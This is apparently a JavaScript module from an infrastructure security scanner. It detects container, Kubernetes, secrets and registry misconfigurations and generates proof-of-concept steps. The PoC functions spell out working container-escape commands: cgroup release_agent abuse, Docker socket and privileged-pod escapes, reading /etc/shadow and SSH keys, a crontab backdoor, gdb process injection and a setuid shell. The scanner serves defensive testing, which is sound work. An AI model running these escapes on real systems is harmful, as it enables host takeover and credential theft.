/**
 * Infrastructure Tactics Module
 *
 * Detects infrastructure and DevOps vulnerabilities including container
 * security, Kubernetes RBAC, secrets in images, and insecure configurations.
 * Priority 3 - critical for cloud-native and containerized applications.
 *
 * @module agents/adversary/tactics/infra
 */
import { registerTactic, generateFindingId, } from "./index.js";
// ============================================================================
// Patterns
// ============================================================================
const CONTAINER_PATTERNS = [
    {
        id: "privileged-container",
        name: "Privileged Container",
        description: "Container running with --privileged flag or privileged: true",
        cwe: "CWE-250",
        severity: "critical",
        regex: /--privileged|privileged\s*:\s*true/gi,
    },
    {
        id: "container-capabilities",
        name: "Excessive Container Capabilities",
        description: "Container granted dangerous capabilities (SYS_ADMIN, SYS_PTRACE, etc.)",
        cwe: "CWE-269",
        severity: "high",
        regex: /add:\s*\[.*(?:SYS_ADMIN|SYS_PTRACE|SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE)/gi,
    },
    {
        id: "host-pid-namespace",
        name: "Host PID Namespace",
        description: "Container sharing host PID namespace",
        cwe: "CWE-269",
        severity: "high",
        regex: /--pid\s*=?\s*host|hostPID\s*:\s*true/gi,
    },
    {
        id: "host-network-namespace",
        name: "Host Network Namespace",
        description: "Container sharing host network namespace",
        cwe: "CWE-269",
        severity: "high",
        regex: /--network\s*=?\s*host|hostNetwork\s*:\s*true/gi,
    },
    {
        id: "host-ipc-namespace",
        name: "Host IPC Namespace",
        description: "Container sharing host IPC namespace",
        cwe: "CWE-269",
        severity: "medium",
        regex: /--ipc\s*=?\s*host|hostIPC\s*:\s*true/gi,
    },
    {
        id: "insecure-volume-mount",
        name: "Insecure Volume Mount",
        description: "Sensitive host paths mounted into container",
        cwe: "CWE-284",
        severity: "high",
        regex: /-v\s+(?:\/|\/root|\/etc|\/var\/run\/docker\.sock)|hostPath:\s*\n\s*path:\s*(?:\/|\/root|\/etc|\/var\/run)/gi,
    },
    {
        id: "docker-socket-mount",
        name: "Docker Socket Mounted",
        description: "Docker socket mounted in container (enables container escape)",
        cwe: "CWE-284",
        severity: "critical",
        regex: /\/var\/run\/docker\.sock/gi,
    },
];
const KUBERNETES_PATTERNS = [
    {
        id: "k8s-overly-permissive-rbac",
        name: "Overly Permissive Kubernetes RBAC",
        description: "ClusterRole or Role with excessive permissions (*, get/list/watch secrets, create pods)",
        cwe: "CWE-269",
        severity: "high",
        regex: /resources:\s*\[\s*['"]\*['"]|verbs:\s*\[\s*['"]\*['"]|resources:\s*\[.*secrets.*\].*verbs:\s*\[.*(?:get|list|watch)/gis,
    },
    {
        id: "k8s-default-service-account",
        name: "Using Default Service Account",
        description: "Pod using default service account with cluster access",
        cwe: "CWE-250",
        severity: "medium",
        regex: /serviceAccountName:\s*default|automountServiceAccountToken:\s*true/gi,
    },
    {
        id: "k8s-no-network-policy",
        name: "Missing Network Policy",
        description: "No NetworkPolicy defined for namespace",
        cwe: "CWE-668",
        severity: "medium",
        regex: /kind:\s*Deployment(?![\s\S]*kind:\s*NetworkPolicy)/gi,
    },
    {
        id: "k8s-allow-privilege-escalation",
        name: "Allow Privilege Escalation",
        description: "Container allowed to escalate privileges",
        cwe: "CWE-269",
        severity: "high",
        regex: /allowPrivilegeEscalation:\s*true/gi,
    },
    {
        id: "k8s-run-as-root",
        name: "Container Running as Root",
        description: "Container running as root user (UID 0)",
        cwe: "CWE-250",
        severity: "medium",
        regex: /runAsUser:\s*0(?!\d)|runAsNonRoot:\s*false/gi,
    },
    {
        id: "k8s-no-security-context",
        name: "Missing Security Context",
        description: "Pod or container missing security context configuration",
        cwe: "CWE-1188",
        severity: "low",
        regex: /kind:\s*(?:Pod|Deployment|StatefulSet|DaemonSet)(?![\s\S]{0,500}securityContext:)/gi,
    },
];
const SECRETS_PATTERNS = [
    {
        id: "secret-in-dockerfile",
        name: "Secret in Dockerfile",
        description: "Hardcoded secret in Dockerfile (ENV, ARG, or inline)",
        cwe: "CWE-798",
        severity: "critical",
        regex: /(?:ENV|ARG)\s+(?:API_KEY|SECRET|PASSWORD|TOKEN|PRIVATE_KEY)\s*=?\s*[^\s$][a-zA-Z0-9_\-+=\/]{16,}/gi,
    },
    {
        id: "secret-in-compose",
        name: "Secret in Docker Compose",
        description: "Hardcoded secret in docker-compose.yml environment variables",
        cwe: "CWE-798",
        severity: "critical",
        regex: /environment:\s*\n(?:\s*-?\s*[A-Z_]+:\s*[^\s$][^\n]{8,}\n)+/gi,
    },
    {
        id: "secret-in-k8s-manifest",
        name: "Secret in Kubernetes Manifest",
        description: "Plaintext secret in Kubernetes manifest instead of Secret resource",
        cwe: "CWE-798",
        severity: "critical",
        regex: /(?:value|data):\s*(?:ey[A-Za-z0-9_\-]+=*|[a-zA-Z0-9_\-+=\/]{32,})/gi,
    },
    {
        id: "aws-credentials-in-image",
        name: "AWS Credentials in Image",
        description: "AWS credentials or config embedded in container image",
        cwe: "CWE-798",
        severity: "critical",
        regex: /(?:COPY|ADD)\s+(?:\.aws|credentials|config)\s+/gi,
    },
];
const REGISTRY_PATTERNS = [
    {
        id: "insecure-registry",
        name: "Insecure Container Registry",
        description: "Using insecure or unverified container registry",
        cwe: "CWE-494",
        severity: "medium",
        regex: /--insecure-registry|insecure-registries/gi,
    },
    {
        id: "no-image-signature",
        name: "Image Signature Verification Disabled",
        description: "Container image signature verification not enforced",
        cwe: "CWE-345",
        severity: "medium",
        regex: /DOCKER_CONTENT_TRUST\s*=\s*(?:0|false)|--disable-content-trust/gi,
    },
    {
        id: "latest-tag",
        name: "Using Latest Tag",
        description: "Using :latest tag instead of pinned version",
        cwe: "CWE-1104",
        severity: "low",
        regex: /FROM\s+[a-zA-Z0-9\-_.\/]+:latest|image:\s*[a-zA-Z0-9\-_.\/]+:latest/gi,
    },
];
const HELM_PATTERNS = [
    {
        id: "helm-tls-disabled",
        name: "Helm TLS Verification Disabled",
        description: "Helm chart installation with TLS verification disabled",
        cwe: "CWE-295",
        severity: "medium",
        regex: /--tls-verify\s*=?\s*false|--disable-openapi-validation/gi,
    },
    {
        id: "helm-default-values",
        name: "Insecure Helm Default Values",
        description: "Helm chart with insecure default values (debug mode, weak passwords)",
        cwe: "CWE-1188",
        severity: "medium",
        regex: /debug:\s*true|enabled:\s*false.*(?:rbac|networkPolicy)/gi,
    },
];
// ============================================================================
// Tactic Implementation
// ============================================================================
const infraTactic = {
    focusArea: "infra",
    name: "Infrastructure",
    description: "Detects infrastructure and DevOps vulnerabilities in containers, Kubernetes, and cloud configurations",
    patterns: [
        ...CONTAINER_PATTERNS,
        ...KUBERNETES_PATTERNS,
        ...SECRETS_PATTERNS,
        ...REGISTRY_PATTERNS,
        ...HELM_PATTERNS,
    ],
    async analyzeFile(file, config) {
        const findings = [];
        for (const pattern of this.patterns) {
            if (!pattern.regex)
                continue;
            // Reset regex state
            pattern.regex.lastIndex = 0;
            let match;
            while ((match = pattern.regex.exec(file.content)) !== null) {
                // Calculate line number
                const beforeMatch = file.content.substring(0, match.index);
                const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
                // Skip if in comment
                const line = file.lines[lineNum - 1] || "";
                if (isInComment(line, file.relativePath)) {
                    continue;
                }
                // Skip known false positives
                if (isFalsePositive(match[0], pattern.id, file)) {
                    continue;
                }
                const finding = {
                    id: generateFindingId("infra", file.relativePath, lineNum, pattern.id),
                    tacticName: "infra",
                    focusArea: "infra",
                    patternId: pattern.id,
                    file: file.relativePath,
                    line: lineNum,
                    message: `${pattern.name}: ${pattern.description}`,
                    severity: pattern.severity,
                    confidence: calculateConfidence(match[0], pattern, file),
                    evidence: redactSensitive(match[0].substring(0, 200)),
                    cweIds: [pattern.cwe],
                    mitreIds: getMitreIds(pattern.id),
                    suggestedFix: getSuggestedFix(pattern.id),
                };
                findings.push(finding);
            }
        }
        return findings;
    },
    async generatePoC(finding) {
        const pocMap = {
            "privileged-container": () => privilegedContainerPoC(finding),
            "container-capabilities": () => containerEscapePoC(finding),
            "docker-socket-mount": () => dockerSocketPoC(finding),
            "k8s-overly-permissive-rbac": () => k8sRbacPoC(finding),
            "secret-in-dockerfile": () => secretExtractionPoC(finding),
            "secret-in-k8s-manifest": () => secretExtractionPoC(finding),
            "insecure-volume-mount": () => hostPathPoC(finding),
            "host-pid-namespace": () => hostNamespacePoC(finding),
            "k8s-allow-privilege-escalation": () => privEscalationPoC(finding),
        };
        const generator = pocMap[finding.patternId];
        return generator ? generator() : null;
    },
    getPromptEnhancement() {
        return `When analyzing for infrastructure vulnerabilities, focus on:

1. **Container Security**:
   - Privileged containers (--privileged flag)
   - Dangerous capabilities (SYS_ADMIN, SYS_PTRACE, SYS_MODULE)
   - Host namespace sharing (hostPID, hostNetwork, hostIPC)
   - Docker socket mounting (enables container escape)
   - Root user execution
   - Insecure volume mounts

2. **Kubernetes RBAC**:
   - Overly permissive roles (resources: ["*"], verbs: ["*"])
   - Access to secrets (get/list/watch secrets)
   - Pod creation permissions (can create privileged pods)
   - Default service account usage
   - ClusterRole vs Role boundaries

3. **Network Security**:
   - Missing NetworkPolicy (default allow-all)
   - Exposed services without ingress controls
   - Unrestricted egress
   - Host network mode

4. **Secrets Management**:
   - Hardcoded secrets in Dockerfiles, compose files, manifests
   - Plaintext secrets instead of Secret resources
   - AWS/GCP credentials in images
   - Private keys in container layers

5. **Image Security**:
   - Using :latest tags (unpinned versions)
   - Insecure registries
   - Missing content trust verification
   - No image scanning in pipeline

6. **Cloud Configuration**:
   - Overly permissive IAM roles
   - Public S3 buckets
   - Unrestricted security groups
   - Metadata service access (IMDS v1)

For each potential vulnerability, determine:
- Can an attacker escape the container?
- Can they escalate to cluster admin?
- Are secrets exposed or extractable?
- What's the blast radius of compromise?`;
    },
    getRelevantFilePatterns() {
        return [
            "**/Dockerfile",
            "**/Dockerfile.*",
            "**/*.dockerfile",
            "**/docker-compose.yml",
            "**/docker-compose.yaml",
            "**/compose.yml",
            "**/compose.yaml",
            "**/kubernetes/**",
            "**/k8s/**",
            "**/*.k8s.yml",
            "**/*.k8s.yaml",
            "**/helm/**",
            "**/charts/**",
            "**/deployment.yml",
            "**/deployment.yaml",
            "**/service.yml",
            "**/service.yaml",
            "**/configmap.yml",
            "**/configmap.yaml",
            "**/secret.yml",
            "**/secret.yaml",
            "**/.github/workflows/**",
            "**/gitlab-ci.yml",
            "**/.circleci/**",
            "**/terraform/**",
            "**/*.tf",
        ];
    },
};
// ============================================================================
// Helper Functions
// ============================================================================
function isInComment(line, filePath) {
    const trimmed = line.trim();
    // YAML/Dockerfile comments
    if (filePath.includes("Dockerfile") ||
        filePath.endsWith(".yml") ||
        filePath.endsWith(".yaml")) {
        return trimmed.startsWith("#");
    }
    // Terraform comments
    if (filePath.endsWith(".tf")) {
        return trimmed.startsWith("#") || trimmed.startsWith("//");
    }
    return false;
}
function isFalsePositive(match, patternId, file) {
    // Skip example/template files
    if (file.relativePath.includes("example") ||
        file.relativePath.includes("template") ||
        file.relativePath.includes("sample")) {
        return true;
    }
    // Skip test fixtures for secret patterns
    if (patternId.startsWith("secret-") || patternId.includes("aws-credentials")) {
        if (file.relativePath.includes("test") ||
            file.relativePath.includes("spec") ||
            file.relativePath.includes("fixture")) {
            return true;
        }
    }
    // Skip placeholder values
    const lowerMatch = match.toLowerCase();
    if (lowerMatch.includes("example") ||
        lowerMatch.includes("placeholder") ||
        lowerMatch.includes("your-") ||
        lowerMatch.includes("xxx") ||
        lowerMatch.includes("changeme")) {
        return true;
    }
    // Skip environment variable references
    if (match.includes("${") || match.includes("$ENV") || match.includes("${{")) {
        return true;
    }
    // Skip latest tag in base images (common pattern)
    if (patternId === "latest-tag" && match.includes("FROM")) {
        const baseImages = ["alpine", "ubuntu", "debian", "node", "python", "scratch"];
        if (baseImages.some(img => match.toLowerCase().includes(img))) {
            return true;
        }
    }
    return false;
}
function calculateConfidence(match, pattern, file) {
    let confidence = 70;
    // Higher confidence for production-looking files
    if (file.relativePath.includes("prod") ||
        file.relativePath.includes("production")) {
        confidence += 10;
    }
    // Higher confidence for critical patterns
    if (pattern.severity === "critical") {
        confidence += 10;
    }
    // Lower confidence for dev/staging files
    if (file.relativePath.includes("dev") ||
        file.relativePath.includes("staging") ||
        file.relativePath.includes("test")) {
        confidence -= 10;
    }
    // Higher confidence for explicit privileged/dangerous settings
    if (match.includes("privileged: true") ||
        match.includes("--privileged") ||
        match.includes("SYS_ADMIN")) {
        confidence += 15;
    }
    return Math.min(95, Math.max(50, confidence));
}
function redactSensitive(text) {
    // Redact potential secrets while keeping context
    return text
        .replace(/(['":])\s*[a-zA-Z0-9_\-+=\/]{32,}(['"])/g, "$1[REDACTED]$2")
        .replace(/ey[A-Za-z0-9_\-]+=*/g, "[JWT_REDACTED]")
        .replace(/AKIA[0-9A-Z]{16}/g, "[AWS_KEY_REDACTED]");
}
function getMitreIds(patternId) {
    const mapping = {
        "privileged-container": ["T1611", "T1610"],
        "container-capabilities": ["T1611", "T1068"],
        "docker-socket-mount": ["T1611", "T1610"],
        "host-pid-namespace": ["T1611", "T1057"],
        "host-network-namespace": ["T1611", "T1046"],
        "k8s-overly-permissive-rbac": ["T1078", "T1098"],
        "secret-in-dockerfile": ["T1552", "T1078"],
        "secret-in-k8s-manifest": ["T1552", "T1078"],
        "insecure-volume-mount": ["T1611", "T1005"],
        "k8s-allow-privilege-escalation": ["T1611", "T1068"],
    };
    return mapping[patternId] || ["T1610"];
}
function getSuggestedFix(patternId) {
    const fixes = {
        "privileged-container": "Remove --privileged flag. Use specific capabilities with --cap-add instead",
        "container-capabilities": "Remove dangerous capabilities. Only add minimal required capabilities",
        "docker-socket-mount": "Never mount Docker socket. Use Docker API with appropriate authentication",
        "host-pid-namespace": "Remove hostPID: true. Use process isolation",
        "host-network-namespace": "Remove hostNetwork: true. Use pod networking with NetworkPolicy",
        "insecure-volume-mount": "Mount only specific subdirectories, use read-only mounts, avoid sensitive paths",
        "k8s-overly-permissive-rbac": "Apply principle of least privilege. Specify exact resources and verbs needed",
        "k8s-default-service-account": "Create dedicated ServiceAccount with minimal permissions",
        "k8s-no-network-policy": "Define NetworkPolicy to restrict pod-to-pod and egress traffic",
        "k8s-allow-privilege-escalation": "Set allowPrivilegeEscalation: false in securityContext",
        "k8s-run-as-root": "Set runAsNonRoot: true and runAsUser to non-zero UID",
        "secret-in-dockerfile": "Use multi-stage builds, mount secrets at runtime, or use secret management tools",
        "secret-in-k8s-manifest": "Use Kubernetes Secret resources, external secret managers (Vault, AWS Secrets Manager)",
        "latest-tag": "Pin specific image versions with SHA256 digest for reproducibility",
        "insecure-registry": "Use HTTPS registries with proper TLS configuration",
        "no-image-signature": "Enable Docker Content Trust (DOCKER_CONTENT_TRUST=1)",
        "helm-tls-disabled": "Enable TLS verification for Helm operations",
    };
    return fixes[patternId] || "Review infrastructure configuration for security best practices";
}
// ============================================================================
// PoC Generators
// ============================================================================
function privilegedContainerPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-privileged",
            description: "Verify container is running in privileged mode",
            command: "cat /proc/self/status | grep CapEff",
            expectedResult: "CapEff shows full capabilities (ffffffffffffffff)",
        },
        {
            order: 2,
            action: "mount-host",
            description: "Mount host filesystem from within container",
            command: "mkdir /mnt/host && mount /dev/sda1 /mnt/host",
            expectedResult: "Host filesystem mounted successfully",
        },
        {
            order: 3,
            action: "access-host",
            description: "Access host system files",
            command: "ls -la /mnt/host/root && cat /mnt/host/etc/shadow",
            expectedResult: "Full read access to host filesystem",
        },
        {
            order: 4,
            action: "escape-container",
            description: "Execute commands on host via chroot",
            command: "chroot /mnt/host /bin/bash",
            expectedResult: "Shell on host system (complete container escape)",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to privileged container",
            "Knowledge of host device names",
        ],
        steps,
        payload: "mount /dev/sda1 /mnt/host && chroot /mnt/host /bin/bash",
        expectedResult: "Complete container escape with root access to host",
        safeTestInstructions: "Test only on isolated VM or container runtime. NEVER run on production systems. Privileged containers have full host access.",
    };
}
function containerEscapePoC(finding) {
    const steps = [
        {
            order: 1,
            action: "check-capabilities",
            description: "Check container capabilities",
            command: "capsh --print",
            expectedResult: "Verify dangerous capabilities like SYS_ADMIN",
        },
        {
            order: 2,
            action: "create-cgroup",
            description: "Create cgroup to exploit release_agent",
            command: "mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp",
            expectedResult: "Cgroup mounted (requires SYS_ADMIN)",
        },
        {
            order: 3,
            action: "exploit-release-agent",
            description: "Set release_agent to execute on host",
            command: `echo 1 > /tmp/cgrp/notify_on_release && echo "\$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent`,
            expectedResult: "Release agent configured to run on host",
        },
        {
            order: 4,
            action: "trigger-escape",
            description: "Trigger release_agent execution on host",
            command: "sh -c 'echo \$\$ > /tmp/cgrp/cgroup.procs'",
            expectedResult: "Command executed on host system",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Container with SYS_ADMIN capability",
            "Access to container shell",
        ],
        steps,
        payload: "cgroup release_agent exploit via SYS_ADMIN capability",
        expectedResult: "Container escape and code execution on host",
        safeTestInstructions: "Test on isolated container environment only. This is a known escape technique. Verify SYS_ADMIN is removed after fix.",
    };
}
function dockerSocketPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-socket",
            description: "Verify Docker socket is accessible",
            command: "ls -la /var/run/docker.sock",
            expectedResult: "Docker socket readable/writable from container",
        },
        {
            order: 2,
            action: "install-docker-client",
            description: "Install Docker client in container (if not present)",
            command: "apk add docker-cli || apt-get install docker.io",
            expectedResult: "Docker client available",
        },
        {
            order: 3,
            action: "list-containers",
            description: "List all containers on host",
            command: "docker ps",
            expectedResult: "All host containers visible",
        },
        {
            order: 4,
            action: "create-privileged-container",
            description: "Create new privileged container with host filesystem mounted",
            command: "docker run -it --privileged -v /:/host alpine chroot /host /bin/bash",
            expectedResult: "Root shell on host system",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Container with Docker socket mounted",
            "Ability to install packages or Docker client present",
        ],
        steps,
        payload: "docker run -it --privileged -v /:/host alpine chroot /host /bin/bash",
        expectedResult: "Complete container escape via Docker socket",
        safeTestInstructions: "Test on isolated Docker host only. Never mount Docker socket in production containers. This provides complete host control.",
    };
}
function k8sRbacPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "check-permissions",
            description: "Verify overly permissive RBAC",
            command: "kubectl auth can-i --list",
            expectedResult: "List all available permissions",
        },
        {
            order: 2,
            action: "list-secrets",
            description: "Extract secrets from all namespaces",
            command: "kubectl get secrets --all-namespaces -o json",
            expectedResult: "All cluster secrets visible",
        },
        {
            order: 3,
            action: "create-privileged-pod",
            description: "Create privileged pod with host access",
            command: `kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF`,
            expectedResult: "Privileged pod created with host access",
        },
        {
            order: 4,
            action: "escape-to-node",
            description: "Execute commands on Kubernetes node",
            command: "kubectl exec -it escape-pod -- chroot /host /bin/bash",
            expectedResult: "Shell on Kubernetes node",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Service account with overly permissive RBAC",
            "kubectl access from pod or external",
        ],
        steps,
        payload: "Create privileged pod via excessive RBAC permissions",
        expectedResult: "Cluster takeover via RBAC escalation",
        safeTestInstructions: "Test on dedicated test cluster only. Never test on production Kubernetes. Clean up pods after testing.",
    };
}
function secretExtractionPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-secret",
            description: "Identify the hardcoded secret in configuration",
            command: `Review ${finding.file}:${finding.line}`,
            expectedResult: "Secret visible in source/manifest",
        },
        {
            order: 2,
            action: "extract-secret",
            description: "Extract secret from image or running container",
            command: "docker inspect <image> | grep -i 'env\\|secret' || kubectl get secret <name> -o yaml",
            expectedResult: "Secret extracted successfully",
        },
        {
            order: 3,
            action: "use-secret",
            description: "Use extracted secret to access protected resources",
            command: "curl -H 'Authorization: Bearer <extracted_secret>' https://api.example.com",
            expectedResult: "Unauthorized access via extracted credentials",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to container image or Kubernetes manifests",
            "Knowledge of what the secret unlocks",
        ],
        steps,
        payload: "[EXTRACTED_SECRET]",
        expectedResult: "Unauthorized access using hardcoded credentials",
        safeTestInstructions: "Extract secrets only in test environments. Immediately rotate any exposed secrets. Never use extracted credentials on production systems.",
    };
}
function hostPathPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-mount",
            description: "Verify host path is mounted in container",
            command: "df -h | grep -E '/$|/root|/etc'",
            expectedResult: "Host path visible in container",
        },
        {
            order: 2,
            action: "read-host-files",
            description: "Read sensitive host files",
            command: "cat /host/etc/shadow || cat /host/root/.ssh/id_rsa",
            expectedResult: "Access to sensitive host data",
        },
        {
            order: 3,
            action: "modify-host-files",
            description: "Modify host files if mount is writable",
            command: "echo '* * * * * root /tmp/backdoor.sh' >> /host/etc/crontab",
            expectedResult: "Persistent backdoor on host",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Container with sensitive host path mounted",
            "Mount is readable or writable",
        ],
        steps,
        payload: "Access host filesystem via insecure volume mount",
        expectedResult: "Read/write access to host filesystem",
        safeTestInstructions: "Test on isolated container host only. Use read-only test files. Never modify production host filesystems.",
    };
}
function hostNamespacePoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-host-pid",
            description: "Verify container is sharing host PID namespace",
            command: "ps aux",
            expectedResult: "Host processes visible from container",
        },
        {
            order: 2,
            action: "identify-target",
            description: "Identify privileged host process",
            command: "ps aux | grep -E 'root|dockerd|kubelet'",
            expectedResult: "Host system processes with PID visible",
        },
        {
            order: 3,
            action: "inject-process",
            description: "Inject code into host process via ptrace",
            command: "gdb -p <host_pid> -batch -ex 'call system(\"/tmp/payload.sh\")'",
            expectedResult: "Code execution in host process context",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Container with hostPID: true",
            "ptrace capabilities",
            "gdb or debugging tools",
        ],
        steps,
        payload: "Process injection via shared PID namespace",
        expectedResult: "Code execution in host process context",
        safeTestInstructions: "Test on isolated system only. Process injection can crash services. Never test on production systems.",
    };
}
function privEscalationPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-escalation-allowed",
            description: "Verify allowPrivilegeEscalation is true",
            command: "cat /proc/self/status | grep NoNewPrivs",
            expectedResult: "NoNewPrivs: 0 (escalation allowed)",
        },
        {
            order: 2,
            action: "create-setuid-binary",
            description: "Create setuid binary if filesystem is writable",
            command: "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash",
            expectedResult: "Setuid binary created",
        },
        {
            order: 3,
            action: "escalate-privileges",
            description: "Execute setuid binary to gain elevated privileges",
            command: "/tmp/rootbash -p",
            expectedResult: "Shell with elevated privileges",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Container with allowPrivilegeEscalation: true",
            "Writable filesystem",
            "Setuid binaries available",
        ],
        steps,
        payload: "Privilege escalation via setuid exploit",
        expectedResult: "Elevated privileges within container",
        safeTestInstructions: "Test in isolated container. Set allowPrivilegeEscalation: false in securityContext to prevent this attack.",
    };
}
// ============================================================================
// Register Tactic
// ============================================================================
registerTactic(infraTactic);
export { infraTactic };
//# sourceMappingURL=infra.js.map